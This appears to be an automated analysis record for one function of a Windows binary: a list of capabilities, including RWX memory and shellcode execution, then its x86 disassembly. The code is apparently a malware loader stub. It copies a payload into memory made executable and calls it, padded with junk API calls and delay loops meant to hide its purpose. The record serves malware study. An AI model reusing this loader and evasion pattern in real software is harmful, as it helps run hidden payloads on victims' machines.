Function at 0x4016e7
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get disk information
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebx
push ebx
call edi
cmp esi, 0x207138
jg 0x401711
inc esi
cmp esi, 0x4f672
jl 0x4016fd
mov ecx, dword [0x2c97d24]
cmp ecx, 0x93
je 0x4018e1
mov eax, dword [0x43bbc8]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x2c97d2c], eax
mov dword [0x2c97d24], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
mov dword [0x2c97d28], eax
push ecx
push 0x40
push dword [0x2c97d24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x14b002e
push ebx
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x40175e
mov edx, dword [0x2c97d24]
mov esi, ebx
test edx, edx
je 0x4017f0
mov eax, dword [0x2c97d2c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2c97d28]
mov byte [eax + esi], cl
mov edx, dword [0x2c97d24]
cmp edx, 0x490
jne 0x4017eb
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
push str.lesadetirokux_waxezebin
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push str.johulatibumihiterurabewa
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0x830]
push eax
push str.xugenudeta
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov edx, dword [0x2c97d24]
inc esi
cmp esi, edx
jb 0x401776
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x40183c
push str.bulevemi
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
xor ecx, ecx
lea eax, [ebp - 4]
push ecx
push eax
push ecx
push ecx
push ecx
call ebx
push 0
push 0
push str.tusawolijifogobofupunevawisayu
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edx, dword [0x2c97d24]
inc esi
cmp esi, 0x38681
jl 0x4017f8
mov ecx, dword [0x2c97d28]
push 0x43bb00
call fcn.00401c7b
xor esi, esi
push 0
call edi
cmp esi, 0x62
jne 0x40186a
mov ecx, 0x2c97d28
call fcn.004016cf
inc esi
cmp esi, 0x674db
jl 0x401857
push 0x7b
pop esi
xor edi, edi
cmp dword [0x2c97d24], 0x86
jne 0x4018ad
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push edi
lea eax, [ebp - 8]
push eax
push edi
push edi
push edi
call ebx
push edi
push str.penucipocunebabujazimix
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
cmp dword [0x2c97d24], 0xf
jne 0x4018c0
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x401876
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2c97d28]
mov dword [0x2c97d30], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.jotacehozezeboxocadadupabave
push ebx
xor eax, eax
push ebx
push ebx
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push ebx
call fcn.0040338c
push ebx
push ebx
push ebx
push ebx
call fcn.004035c8
push ebx
push ebx
call fcn.00403264
push ebx
call fcn.00402421
push ebx
call fcn.004032c6
push ebx
call fcn.004032d3
add esp, 0x28
call fcn.00403283
int3